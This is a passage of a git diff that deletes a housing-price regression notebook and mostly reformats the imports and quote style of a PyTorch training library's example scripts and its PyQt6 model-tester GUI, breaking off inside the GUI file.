- "housing_predictions = model.predict(housing_num_tr)\n",
- "lin_mse = mean_squared_error(housing_labels, housing_predictions)\n",
- "lin_rmse = np.sqrt(lin_mse)"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 36,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "1.3529252128712854"
- ]
- },
- "execution_count": 36,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "lin_mse"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 37,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "1.1631531338870584"
- ]
- },
- "execution_count": 37,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "lin_rmse"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Cross Validation"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 38,
- "metadata": {},
- "outputs": [],
- "source": [
- "from sklearn.model_selection import cross_val_score\n",
- "\n",
- "scores = cross_val_score(\n",
- " model, housing_num_tr, housing_labels, scoring=\"neg_mean_squared_error\", cv=10\n",
- ")\n",
- "rmse_scores = np.sqrt(-scores)"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 39,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "array([2.79289168, 2.69441597, 4.40018895, 2.56972379, 3.33073436,\n",
- " 2.62687167, 4.77007351, 3.27403209, 3.38378214, 3.16691711])"
- ]
- },
- "execution_count": 39,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "rmse_scores"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 40,
- "metadata": {},
- "outputs": [],
- "source": [
- "def print_scores(scores):\n",
- " print(\"scores: \", scores)\n",
- " print(\"Mean: \", scores.mean())\n",
- " print(\"Standard deviation: \", scores.std())"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 41,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "scores: [2.79289168 2.69441597 4.40018895 2.56972379 3.33073436 2.62687167\n",
- " 4.77007351 3.27403209 3.38378214 3.16691711]\n",
- "Mean: 3.3009631251857217\n",
- "Standard deviation: 0.7076841067486248\n"
- ]
- }
- ],
- "source": [
- "print_scores(rmse_scores)"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Saving Model "
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 42,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "['HousingPricePredicter.joblib']"
- ]
- },
- "execution_count": 42,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "from joblib import dump\n",
- "\n",
- "dump(model, \"HousingPricePredicter.joblib\")"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Testing the model on test data "
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 43,
- "metadata": {},
- "outputs": [],
- "source": [
- "X_test = strat_test_set.drop(\"MEDV\", axis=1)\n",
- "Y_test = strat_test_set[\"MEDV\"].copy()\n",
- "X_test_prepared = my_pipeline.transform(X_test)\n",
- "final_predictions = model.predict(X_test_prepared)\n",
- "final_mse = mean_squared_error(Y_test, final_predictions)\n",
- "final_rmse = np.sqrt(final_mse)"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 44,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "2.948844070638726"
- ]
- },
- "execution_count": 44,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "final_rmse"
- ]
- }
- ],
- "metadata": {
- "kernelspec": {
- "display_name": "Python 3",
- "language": "python",
- "name": "python3"
- },
- "language_info": {
- "codemirror_mode": {
- "name": "ipython",
- "version": 3
- },
- "file_extension": ".py",
- "mimetype": "text/x-python",
- "name": "python",
- "nbconvert_exporter": "python",
- "pygments_lexer": "ipython3",
- "version": "3.8.2"
- }
- },
- "nbformat": 4,
- "nbformat_minor": 4
-}
diff --git a/ML/examples/neural_architecture_search.py b/ML/examples/neural_architecture_search.py
index a0896d444bb..9a1317db6c9 100644
--- a/ML/examples/neural_architecture_search.py
+++ b/ML/examples/neural_architecture_search.py
@@ -1,12 +1,13 @@
import sys
-sys.path.insert(0, '.')
-import torch
-from src.python.neuralforge.nas.search_space import SearchSpace
-from src.python.neuralforge.nas.evolution import EvolutionarySearch
-from src.python.neuralforge.nas.evaluator import ProxyEvaluator
-from src.python.neuralforge.data.dataset import SyntheticDataset, DataLoaderBuilder
+sys.path.insert(0, ".")
+
from src.python.neuralforge.config import Config
+from src.python.neuralforge.data.dataset import DataLoaderBuilder, SyntheticDataset
+from src.python.neuralforge.nas.evaluator import ProxyEvaluator
+from src.python.neuralforge.nas.evolution import EvolutionarySearch
+from src.python.neuralforge.nas.search_space import SearchSpace
+
def main():
config = Config()
@@ -14,47 +15,49 @@ def main():
config.nas_population_size = 15
config.nas_generations = 20
config.nas_mutation_rate = 0.15
-
- search_config = {
- 'num_layers': 15,
- 'num_blocks': 4
- }
-
+
+ search_config = {"num_layers": 15, "num_blocks": 4}
+
search_space = SearchSpace(search_config)
-
+
train_dataset = SyntheticDataset(num_samples=1000, num_classes=10)
val_dataset = SyntheticDataset(num_samples=200, num_classes=10)
-
+
loader_builder = DataLoaderBuilder(config)
train_loader = loader_builder.build_train_loader(train_dataset)
val_loader = loader_builder.build_val_loader(val_dataset)
-
+
evaluator = ProxyEvaluator(device=config.device)
-
+
evolution = EvolutionarySearch(
search_space=search_space,
evaluator=evaluator,
population_size=config.nas_population_size,
generations=config.nas_generations,
- mutation_rate=config.nas_mutation_rate
+ mutation_rate=config.nas_mutation_rate,
)
-
+
print("Starting Neural Architecture Search...")
best_architecture = evolution.search()
-
- print(f"\nBest Architecture Found:")
+
+ print("\nBest Architecture Found:")
print(f"Fitness: {best_architecture.fitness:.4f}")
print(f"Accuracy: {best_architecture.accuracy:.2f}%")
print(f"Parameters: {best_architecture.params:,}")
print(f"FLOPs: {best_architecture.flops:,}")
-
+
print("\nTop 5 Architectures:")
top_k = evolution.get_top_k_architectures(k=5)
for i, arch in enumerate(top_k, 1):
- print(f"{i}. Fitness: {arch.fitness:.4f}, Acc: {arch.accuracy:.2f}%, Params: {arch.params:,}")
-
+ print(
+ f"{i}. Fitness: {arch.fitness:.4f}, Acc: {arch.accuracy:.2f}%, Params: {arch.params:,}"
+ )
+
model = search_space.build_model(best_architecture, num_classes=10)
- print(f"\nModel created with {sum(p.numel() for p in model.parameters()):,} parameters")
+ print(
+ f"\nModel created with {sum(p.numel() for p in model.parameters()):,} parameters"
+ )
+
-if __name__ == '__main__':
+if __name__ == "__main__":
main()
diff --git a/ML/examples/train_cifar10.py b/ML/examples/train_cifar10.py
index bec333c894a..932d62c3af3 100644
--- a/ML/examples/train_cifar10.py
+++ b/ML/examples/train_cifar10.py
@@ -1,20 +1,21 @@
-import sys
import os
+import sys
-sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), ".."))
import torch
import torch.nn as nn
-from src.python.neuralforge import Trainer, Config
-from src.python.neuralforge.data.datasets import get_dataset
+from src.python.neuralforge import Config, Trainer
from src.python.neuralforge.data.dataset import DataLoaderBuilder
+from src.python.neuralforge.data.datasets import get_dataset
from src.python.neuralforge.models.resnet import ResNet18
from src.python.neuralforge.optim.optimizers import AdamW
from src.python.neuralforge.optim.schedulers import CosineAnnealingWarmRestarts
+
def main():
print("Training ResNet18 on CIFAR-10")
-
+
config = Config()
config.batch_size = 128
config.epochs = 100
@@ -22,26 +23,26 @@ def main():
config.num_classes = 10
config.image_size = 32
config.model_name = "resnet18_cifar10"
- config.device = 'cuda' if torch.cuda.is_available() else 'cpu'
-
- print(f"Downloading CIFAR-10 dataset...")
- train_dataset = get_dataset('cifar10', root='./data', train=True, download=True)
- val_dataset = get_dataset('cifar10', root='./data', train=False, download=True)
-
+ config.device = "cuda" if torch.cuda.is_available() else "cpu"
+
+ print("Downloading CIFAR-10 dataset...")
+ train_dataset = get_dataset("cifar10", root="./data", train=True, download=True)
+ val_dataset = get_dataset("cifar10", root="./data", train=False, download=True)
+
print(f"Train: {len(train_dataset)} samples")
print(f"Val: {len(val_dataset)} samples")
-
+
loader_builder = DataLoaderBuilder(config)
train_loader = loader_builder.build_train_loader(train_dataset)
val_loader = loader_builder.build_val_loader(val_dataset)
-
+
model = ResNet18(num_classes=10, in_channels=3)
print(f"Model: {sum(p.numel() for p in model.parameters()):,} parameters")
-
+
criterion = nn.CrossEntropyLoss()
optimizer = AdamW(model.parameters(), lr=config.learning_rate, weight_decay=0.01)
scheduler = CosineAnnealingWarmRestarts(optimizer, T_0=10, T_mult=2)
-
+
trainer = Trainer(
model=model,
train_loader=train_loader,
@@ -49,17 +50,18 @@ def main():
optimizer=optimizer,
criterion=criterion,
config=config,
- scheduler=scheduler
+ scheduler=scheduler,
)
-
+
print("Starting training...")
trainer.train()
-
- print(f"\nTraining completed!")
+
+ print("\nTraining completed!")
print(f"Best validation loss: {trainer.best_val_loss:.4f}")
- print(f"Model saved to: ./models/best_model.pt")
- print(f"\nTest the model:")
- print(f" python tests/test_model.py --dataset cifar10 --mode interactive")
+ print("Model saved to: ./models/best_model.pt")
+ print("\nTest the model:")
+ print(" python tests/test_model.py --dataset cifar10 --mode interactive")
+
-if __name__ == '__main__':
+if __name__ == "__main__":
main()
diff --git a/ML/examples/train_custom.py b/ML/examples/train_custom.py
index 4aab87e1170..f0a12c4b8ca 100644
--- a/ML/examples/train_custom.py
+++ b/ML/examples/train_custom.py
@@ -1,14 +1,15 @@
import sys
-sys.path.insert(0, '.')
-import torch
+sys.path.insert(0, ".")
+
import torch.nn as nn
-from src.python.neuralforge import Trainer, Config
-from src.python.neuralforge.data.dataset import SyntheticDataset, DataLoaderBuilder
+from src.python.neuralforge import Config, Trainer
+from src.python.neuralforge.data.dataset import DataLoaderBuilder, SyntheticDataset
from src.python.neuralforge.models.resnet import ResNet18
from src.python.neuralforge.optim.optimizers import AdamW
from src.python.neuralforge.optim.schedulers import CosineAnnealingWarmRestarts
+
def main():
config = Config()
config.batch_size = 64
@@ -16,19 +17,19 @@ def main():
config.learning_rate = 0.001
config.num_classes = 100
config.model_name = "resnet18_custom"
-
+
train_dataset = SyntheticDataset(num_samples=10000, num_classes=100)
val_dataset = SyntheticDataset(num_samples=2000, num_classes=100)
-
+
loader_builder = DataLoaderBuilder(config)
train_loader = loader_builder.build_train_loader(train_dataset)
val_loader = loader_builder.build_val_loader(val_dataset)
-
+
model = ResNet18(num_classes=100)
criterion = nn.CrossEntropyLoss()
optimizer = AdamW(model.parameters(), lr=config.learning_rate, weight_decay=0.01)
scheduler = CosineAnnealingWarmRestarts(optimizer, T_0=10, T_mult=2)
-
+
trainer = Trainer(
model=model,
train_loader=train_loader,
@@ -36,12 +37,13 @@ def main():
optimizer=optimizer,
criterion=criterion,
config=config,
- scheduler=scheduler
+ scheduler=scheduler,
)
-
+
trainer.train()
-
+
print(f"Best validation loss: {trainer.best_val_loss:.4f}")
-if __name__ == '__main__':
+
+if __name__ == "__main__":
main()
diff --git a/ML/src/python/neuralforge/__init__.py b/ML/src/python/neuralforge/__init__.py
index f1a2c8f33b1..b0a94fc42c8 100644
--- a/ML/src/python/neuralforge/__init__.py
+++ b/ML/src/python/neuralforge/__init__.py
@@ -1,10 +1,6 @@
-from . import nn
-from . import optim
-from . import data
-from . import utils
-from . import nas
-from .trainer import Trainer
+from . import data, nas, nn, optim, utils
from .config import Config
+from .trainer import Trainer
__version__ = "1.0.0"
-__all__ = ['nn', 'optim', 'data', 'utils', 'nas', 'Trainer', 'Config']
\ No newline at end of file
+__all__ = ["nn", "optim", "data", "utils", "nas", "Trainer", "Config"]
diff --git a/ML/src/python/neuralforge/cli/__init__.py b/ML/src/python/neuralforge/cli/__init__.py
index 97019316414..457a59d867d 100644
--- a/ML/src/python/neuralforge/cli/__init__.py
+++ b/ML/src/python/neuralforge/cli/__init__.py
@@ -1,6 +1,3 @@
-from . import train
-from . import test
-from . import gui
-from . import nas
+from . import gui, nas, test, train
-__all__ = ['train', 'test', 'gui', 'nas']
+__all__ = ["train", "test", "gui", "nas"]
diff --git a/ML/src/python/neuralforge/cli/gui.py b/ML/src/python/neuralforge/cli/gui.py
index 6ce7d045597..455efd104aa 100644
--- a/ML/src/python/neuralforge/cli/gui.py
+++ b/ML/src/python/neuralforge/cli/gui.py
@@ -1,5 +1,6 @@
-import sys
import os
+import sys
+
def main():
try:
@@ -9,230 +10,254 @@ def main():
print("Install with: pip install neuralforge[gui]")
print("Or: pip install PyQt6")
sys.exit(1)
-
+
current_dir = os.path.dirname(os.path.abspath(__file__))
- root_dir = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(current_dir))))
-
+ root_dir = os.path.dirname(
+ os.path.dirname(os.path.dirname(os.path.dirname(current_dir)))
+ )
+
sys.path.insert(0, root_dir)
-
- from PyQt6.QtWidgets import (QMainWindow, QWidget, QVBoxLayout, QHBoxLayout,
- QPushButton, QLabel, QLineEdit, QFileDialog,
- QProgressBar, QTextEdit, QGroupBox)
- from PyQt6.QtCore import Qt, QThread, pyqtSignal
- from PyQt6.QtGui import QPixmap, QFont
-
+
import torch
import torch.nn.functional as F
- from torchvision import transforms
- from PIL import Image
-
from neuralforge.data.datasets import get_dataset, get_num_classes
from neuralforge.models.resnet import ResNet18
-
+ from PIL import Image
+ from PyQt6.QtCore import Qt, QThread, pyqtSignal
+ from PyQt6.QtGui import QFont, QPixmap
+ from PyQt6.QtWidgets import (
+ QFileDialog,
+ QGroupBox,
+ QHBoxLayout,
+ QLabel,
+ QLineEdit,
+ QMainWindow,
+ QProgressBar,
+ QPushButton,
+ QTextEdit,
+ QVBoxLayout,
+ QWidget,
+ )
+ from torchvision import transforms
+
class PredictionThread(QThread):
finished = pyqtSignal(list, list, str)
error = pyqtSignal(str)
-
+
def __init__(self, model, image_path, classes, device):
super().__init__()
self.model = model
self.image_path = image_path
self.classes = classes
self.device = device
-
+
def run(self):
try:
- image = Image.open(self.image_path).convert('RGB')
-
- transform = transforms.Compose([
- transforms.Resize(256),
- transforms.CenterCrop(224),
- transforms.ToTensor(),
- transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
- ])
-
+ image = Image.open(self.image_path).convert("RGB")
+
+ transform = transforms.Compose(
+ [
+ transforms.Resize(256),
+ transforms.CenterCrop(224),
+ transforms.ToTensor(),
+ transforms.Normalize(
+ mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]
+ ),
+ ]
+ )
+
image_tensor = transform(image).unsqueeze(0).to(self.device)
-
+
with torch.no_grad():
outputs = self.model(image_tensor)
probabilities = F.softmax(outputs, dim=1)
-
- top5_prob, top5_idx = torch.topk(probabilities, min(5, len(self.classes)), dim=1)
-
+
+ top5_prob, top5_idx = torch.topk(
+ probabilities, min(5, len(self.classes)), dim=1
+ )
+
predictions = []
confidences = []
-
- for idx, prob in zip(top5_idx[0].cpu().numpy(), top5_prob[0].cpu().numpy()):
+
+ for idx, prob in zip(
+ top5_idx[0].cpu().numpy(), top5_prob[0].cpu().numpy()
+ ):
predictions.append(self.classes[idx])
confidences.append(float(prob) * 100)
-
+
main_prediction = predictions[0]
-
+
self.finished.emit(predictions, confidences, main_prediction)
-
+
except Exception as e:
self.error.emit(str(e))
-
+
class NeuralForgeGUI(QMainWindow):
def __init__(self):
super().__init__()
self.model = None
- self.device = 'cuda' if torch.cuda.is_available() else 'cpu'
+ self.device = "cuda" if torch.cuda.is_available() else "cpu"
self.classes = []
- self.dataset_name = 'cifar10'
-
+ self.dataset_name = "cifar10"
+
self.init_ui()
self.apply_stylesheet()
-
+
def init_ui(self):
- self.setWindowTitle('NeuralForge - Model Tester')
+ self.setWindowTitle("NeuralForge - Model Tester")
self.setGeometry(100, 100, 1200, 800)
-
+
central_widget = QWidget()
self.setCentralWidget(central_widget)
-
+
main_layout = QHBoxLayout()
central_widget.setLayout(main_layout)
-
+
left_panel = self.create_left_panel()
right_panel = self.create_right_panel()
-
+
main_layout.addWidget(left_panel, 1)
main_layout.addWidget(right_panel, 1)
-
+
def create_left_panel(self):
panel = QWidget()
layout = QVBoxLayout()
panel.setLayout(layout)
-
- title = QLabel('🚀 NeuralForge Model Tester')
- title.setFont(QFont('Arial', 20, QFont.Weight.Bold))
+
+ title = QLabel("🚀 NeuralForge Model Tester")
+ title.setFont(QFont("Arial", 20, QFont.Weight.Bold))
title.setAlignment(Qt.AlignmentFlag.AlignCenter)
layout.addWidget(title)
-
- model_group = QGroupBox('Model Selection')
+
+ model_group = QGroupBox("Model Selection")
model_layout = QVBoxLayout()
-
+
model_path_layout = QHBoxLayout()
self.model_path_input = QLineEdit()
- self.model_path_input.setPlaceholderText('Path to model file (.pt)')
+ self.model_path_input.setPlaceholderText("Path to model file (.pt)")
model_path_layout.addWidget(self.model_path_input)
-
- browse_btn = QPushButton('Browse')
+
+ browse_btn = QPushButton("Browse")
browse_btn.clicked.connect(self.browse_model)
model_path_layout.addWidget(browse_btn)
-
- default_btn = QPushButton('Use Default')
+
+ default_btn = QPushButton("Use Default")
default_btn.clicked.connect(self.use_default_model)
model_path_layout.addWidget(default_btn)
-
+
model_layout.addLayout(model_path_layout)
-
+
dataset_layout = QHBoxLayout()
- dataset_label = QLabel('Dataset:')
- self.dataset_input = QLineEdit('cifar10')
- self.dataset_input.setPlaceholderText('cifar10, mnist, stl10, tiny_imagenet, etc.')
- self.dataset_input.setToolTip('Supported: cifar10, cifar100, mnist, fashion_mnist, stl10,\ntiny_imagenet, imagenet, food101, caltech256, oxford_pets')
+ dataset_label = QLabel("Dataset:")
+ self.dataset_input = QLineEdit("cifar10")
+ self.dataset_input.setPlaceholderText(
+ "cifar10, mnist, stl10, tiny_imagenet, etc."
+ )
+ self.dataset_input.setToolTip(
+ "Supported: cifar10, cifar100, mnist, fashion_mnist, stl10,\ntiny_imagenet, imagenet, food101, caltech256, oxford_pets"
+ )
dataset_layout.addWidget(dataset_label)
dataset_layout.addWidget(self.dataset_input)
model_layout.addLayout(dataset_layout)
-
- self.load_model_btn = QPushButton('Load Model')
+
+ self.load_model_btn = QPushButton("Load Model")
self.load_model_btn.clicked.connect(self.load_model)
model_layout.addWidget(self.load_model_btn)
-
- self.model_status = QLabel('No model loaded')
+
+ self.model_status = QLabel("No model loaded")
self.model_status.setAlignment(Qt.AlignmentFlag.AlignCenter)
model_layout.addWidget(self.model_status)
-
+
model_group.setLayout(model_layout)
layout.addWidget(model_group)
-
- image_group = QGroupBox('Image Selection')
+
+ image_group = QGroupBox("Image Selection")
image_layout = QVBoxLayout()
-
+
image_path_layout = QHBoxLayout()
self.image_path_input = QLineEdit()
- self.image_path_input.setPlaceholderText('Path to image file')
+ self.image_path_input.setPlaceholderText("Path to image file")
image_path_layout.addWidget(self.image_path_input)
-
- browse_image_btn = QPushButton('Browse')
+
+ browse_image_btn = QPushButton("Browse")
browse_image_btn.clicked.connect(self.browse_image)
image_path_layout.addWidget(browse_image_btn)
-
+
image_layout.addLayout(image_path_layout)
-
+
self.image_preview = QLabel()
self.image_preview.setAlignment(Qt.AlignmentFlag.AlignCenter)
self.image_preview.setMinimumHeight(300)
- self.image_preview.setStyleSheet('border: 2px dashed #666; border-radius: 10px;')
- self.image_preview.setText('No image selected')
+ self.image_preview.setStyleSheet(
+ "border: 2px dashed #666; border-radius: 10px;"
+ )
+ self.image_preview.setText("No image selected")
image_layout.addWidget(self.image_preview)
-
- self.predict_btn = QPushButton('🔍 Predict')
+
+ self.predict_btn = QPushButton("🔍 Predict")
self.predict_btn.clicked.connect(self.predict_image)
self.predict_btn.setEnabled(False)
image_layout.addWidget(self.predict_btn)
-
+
image_group.setLayout(image_layout)
layout.addWidget(image_group)
-
+
layout.addStretch()
-
+
return panel
-
+
def create_right_panel(self):
panel = QWidget()
layout = QVBoxLayout()
panel.setLayout(layout)
-
- results_group = QGroupBox('Prediction Results')
+
+ results_group = QGroupBox("Prediction Results")
results_layout = QVBoxLayout()
-
- self.main_prediction = QLabel('No prediction yet')
- self.main_prediction.setFont(QFont('Arial', 24, QFont.Weight.Bold))
+
+ self.main_prediction = QLabel("No prediction yet")
+ self.main_prediction.setFont(QFont("Arial", 24, QFont.Weight.Bold))
self.main_prediction.setAlignment(Qt.AlignmentFlag.AlignCenter)
- self.main_prediction.setStyleSheet('color: #4CAF50; padding: 20px;')
+ self.main_prediction.setStyleSheet("color: #4CAF50; padding: 20px;")
results_layout.addWidget(self.main_prediction)
-
- self.confidence_label = QLabel('')
- self.confidence_label.setFont(QFont('Arial', 16))
+
+ self.confidence_label = QLabel("")
+ self.confidence_label.setFont(QFont("Arial", 16))
self.confidence_label.setAlignment(Qt.AlignmentFlag.AlignCenter)
results_layout.addWidget(self.confidence_label)
-
+
self.progress_bar = QProgressBar()
self.progress_bar.setVisible(False)
results_layout.addWidget(self.progress_bar)
-
+
results_group.setLayout(results_layout)
layout.addWidget(results_group)
-
- top5_group = QGroupBox('Top-5 Predictions')
+
+ top5_group = QGroupBox("Top-5 Predictions")
top5_layout = QVBoxLayout()
-
+
self.top5_display = QTextEdit()
self.top5_display.setReadOnly(True)
self.top5_display.setMinimumHeight(200)
top5_layout.addWidget(self.top5_display)
-
+
top5_group.setLayout(top5_layout)
layout.addWidget(top5_group)
-
- info_group = QGroupBox('Model Information')
+
+ info_group = QGroupBox("Model Information")
info_layout = QVBoxLayout()
-
+
self.model_info = QTextEdit()
self.model_info.setReadOnly(True)
self.model_info.setMaximumHeight(150)
info_layout.addWidget(self.model_info)
-
+
info_group.setLayout(info_layout)
layout.addWidget(info_group)
-
+
layout.addStretch()
-
+
return panel
-
+
def apply_stylesheet(self):
qss = """
QMainWindow {
@@ -321,103 +346,132 @@ def apply_stylesheet(self):
}
"""
self.setStyleSheet(qss)
-
+
def browse_model(self):
file_path, _ = QFileDialog.getOpenFileName(
- self,
- 'Select Model File',
- './models',
- 'Model Files (*.pt *.pth);;All Files (*.*)'
+ self,
+ "Select Model File",
+ "./models",
+ "Model Files (*.pt *.pth);;All Files (*.*)",
)
if file_path:
self.model_path_input.setText(file_path)
-
+
def use_default_model(self):
- default_path = './models/final_model.pt'
+ default_path = "./models/final_model.pt"
if not os.path.exists(default_path):
- default_path = './models/best_model.pt'
+ default_path = "./models/best_model.pt"
self.model_path_input.setText(os.path.abspath(default_path))
-
+
def browse_image(self):
file_path, _ = QFileDialog.getOpenFileName(
self,
- 'Select Image File',
- '',
- 'Image Files (*.png *.jpg *.jpeg *.bmp *.gif);;All Files (*.*)'
+ "Select Image File",
+ "",
+ "Image Files (*.png *.jpg *.jpeg *.bmp *.gif);;All Files (*.*)",
)
if file_path:
self.image_path_input.setText(file_path)
self.display_image(file_path)
-
+
def display_image(self, image_path):
try:
pixmap = QPixmap(image_path)
- scaled_pixmap = pixmap.scaled(400, 300, Qt.AspectRatioMode.KeepAspectRatio,
- Qt.TransformationMode.SmoothTransformation)
+ scaled_pixmap = pixmap.scaled(
+ 400,
+ 300,
+ Qt.AspectRatioMode.KeepAspectRatio,
+ Qt.TransformationMode.SmoothTransformation,
+ )
self.image_preview.setPixmap(scaled_pixmap)
except Exception as e:
- self.image_preview.setText(f'Error loading image: {e}')
-
+ self.image_preview.setText(f"Error loading image: {e}")
+
def load_model(self):
model_path = self.model_path_input.text()
dataset_input = self.dataset_input.text().lower().strip()
-
+
dataset_aliases = {
- 'cifar10': 'cifar10', 'cifar-10': 'cifar10', 'cifar_10': 'cifar10',
- 'cifar100': 'cifar100', 'cifar-100': 'cifar100', 'cifar_100': 'cifar100',
- 'mnist': 'mnist',
- 'fashionmnist': 'fashion_mnist', 'fashion-mnist': 'fashion_mnist', 'fashion_mnist': 'fashion_mnist',
- 'stl10': 'stl10', 'stl-10': 'stl10', 'stl_10': 'stl10',
- 'tinyimagenet': 'tiny_imagenet', 'tiny-imagenet': 'tiny_imagenet', 'tiny_imagenet': 'tiny_imagenet',
- 'imagenet': 'imagenet',
- 'food101': 'food101', 'food-101': 'food101', 'food_101': 'food101',
- 'caltech256': 'caltech256', 'caltech-256': 'caltech256', 'caltech_256': 'caltech256',
- 'oxfordpets': 'oxford_pets', 'oxford-pets': 'oxford_pets', 'oxford_pets': 'oxford_pets',
+ "cifar10": "cifar10",
+ "cifar-10": "cifar10",
+ "cifar_10": "cifar10",
+ "cifar100": "cifar100",
+ "cifar-100": "cifar100",
+ "cifar_100": "cifar100",
+ "mnist": "mnist",
+ "fashionmnist": "fashion_mnist",
+ "fashion-mnist": "fashion_mnist",
+ "fashion_mnist": "fashion_mnist",
+ "stl10": "stl10",
+ "stl-10": "stl10",
+ "stl_10": "stl10",
+ "tinyimagenet": "tiny_imagenet",
+ "tiny-imagenet": "tiny_imagenet",
+ "tiny_imagenet": "tiny_imagenet",
+ "imagenet": "imagenet",
+ "food101": "food101",
+ "food-101": "food101",
+ "food_101": "food101",
+ "caltech256": "caltech256",
+ "caltech-256": "caltech256",
+ "caltech_256": "caltech256",
+ "oxfordpets": "oxford_pets",
+ "oxford-pets": "oxford_pets",
+ "oxford_pets": "oxford_pets",
}
-
+
self.dataset_name = dataset_aliases.get(dataset_input, dataset_input)
-
+
if not model_path:
- self.model_status.setText('Please select a model file')
- self.model_status.setStyleSheet('color: #f44336;')
+ self.model_status.setText("Please select a model file")
+ self.model_status.setStyleSheet("color: #f44336;")
return
-
+
if not os.path.exists(model_path):
- self.model_status.setText('Model file not found')
- self.model_status.setStyleSheet('color: #f44336;')
+ self.model_status.setText("Model file not found")
+ self.model_status.setStyleSheet("color: #f44336;")
return
-
+
try:
- self.model_status.setText('Loading model...')
- self.model_status.setStyleSheet('color: #FFC107;')
+ self.model_status.setText("Loading model...")
+ self.model_status.setStyleSheet("color: #FFC107;")
QApplication.processEvents()
-
+
num_classes = get_num_classes(self.dataset_name)
self.model = ResNet18(num_classes=num_classes)
self.model = self.model.to(self.device)
-
- checkpoint = torch.load(model_path, map_location=self.device, weights_only=False)
- self.model.load_state_dict(checkpoint['model_state_dict'])
+
+ checkpoint = torch.load(
+ model_path, map_location=self.device, weights_only=False
+ )
+ self.model.load_state_dict(checkpoint["model_state_dict"])
self.model.eval()
-
+
try:
- dataset = get_dataset(self.dataset_name, train=False, download=False)
- self.classes = getattr(dataset, 'classes', [str(i) for i in range(num_classes)])
+ dataset = get_dataset(
+ self.dataset_name, train=False, download=False
+ )
+ self.classes = getattr(
+ dataset, "classes", [str(i) for i in range(num_classes)]
+ )
except:
from neuralforge.data.datasets import get_class_names
+
self.classes = get_class_names(self.dataset_name)
-
- self.model_status.setText(f'✓ Model loaded successfully')
- self.model_status.setStyleSheet('color: #4CAF50;')
-
+
+ self.model_status.setText("✓ Model loaded successfully")
+ self.model_status.setStyleSheet("color: #4CAF50;")
+
self.predict_btn.setEnabled(True)
-
+
total_params = sum(p.numel() for p in self.model.parameters())
- epoch = checkpoint.get('epoch', 'Unknown')
- val_loss = checkpoint.get('best_val_loss', 'Unknown')
-
- val_loss_str = f"{val_loss:.4f}" if isinstance(val_loss, float) else str(val_loss)
-
+ epoch = checkpoint.get("epoch", "Unknown")
+ val_loss = checkpoint.get("best_val_loss", "Unknown")
+
+ val_loss_str = (
+ f"{val_loss:.4f}" if isinstance(val_loss, float) else str(val_loss)
+ )
+
info_text = f"""
Model: ResNet18
Dataset: {self.dataset_name.upper()}
@@ -428,62 +482,69 @@ def load_model(self):
Device: {self.device.upper()}
"""
self.model_info.setText(info_text.strip())
-
+
except Exception as e:
- self.model_status.setText(f'Error: {str(e)}')
- self.model_status.setStyleSheet('color: #f44336;')
-
+ self.model_status.setText(f"Error: {str(e)}")
+ self.model_status.setStyleSheet("color: #f44336;")
+
def predict_image(self):
image_path = self.image_path_input.text()
-
+
if not image_path or not os.path.exists(image_path):
- self.main_prediction.setText('Please select a valid image')
- self.main_prediction.setStyleSheet('color: #f44336;')
+ self.main_prediction.setText("Please select a valid image")
+ self.main_prediction.setStyleSheet("color: #f44336;")
return
-
+
if self.model is None:
- self.main_prediction.setText('Please load a model first')
- self.main_prediction.setStyleSheet('color: #f44336;')
+ self.main_prediction.setText("Please load a model first")
+ self.main_prediction.setStyleSheet("color: #f44336;")
return
-
+
self.predict_btn.setEnabled(False)
self.progress_bar.setVisible(True)
self.progress_bar.setRange(0, 0)
-
- self.prediction_thread = PredictionThread(self.model, image_path, self.classes, self.device)
+
+ self.prediction_thread = PredictionThread(
+ self.model, image_path, self.classes, self.device
+ )
self.prediction_thread.finished.connect(self.display_results)
self.prediction_thread.error.connect(self.display_error)
self.prediction_thread.start()
-
+
def display_results(self, predictions, confidences, main_prediction):
self.progress_bar.setVisible(False)
self.predict_btn.setEnabled(True)
-
- self.main_prediction.setText(f'🎯 {main_prediction}')
- self.main_prediction.setStyleSheet('color: #4CAF50; padding: 20px; font-size: 28px;')
-
- self.confidence_label.setText(f'Confidence: {confidences[0]:.2f}%')
-
- top5_text = 'Top-5 Predictions: '
+
+ self.main_prediction.setText(f"🎯 {main_prediction}")
+ self.main_prediction.setStyleSheet(
+ "color: #4CAF50; padding: 20px; font-size: 28px;"
+ )
+
+ self.confidence_label.setText(f"Confidence: {confidences[0]:.2f}%")
+
+ top5_text = "Top-5 Predictions: "
for i, (pred, conf) in enumerate(zip(predictions, confidences), 1):
bar_width = int(conf * 3)
- bar = '█' * bar_width
+ bar = "█" * bar_width
top5_text += f'{i}. {pred} '
- top5_text += f'{bar} {conf:.2f}%
'
-
+ top5_text += (
+ f'{bar} {conf:.2f}%'
+ )
+
self.top5_display.setHtml(top5_text)
-
+
def display_error(self, error_msg):
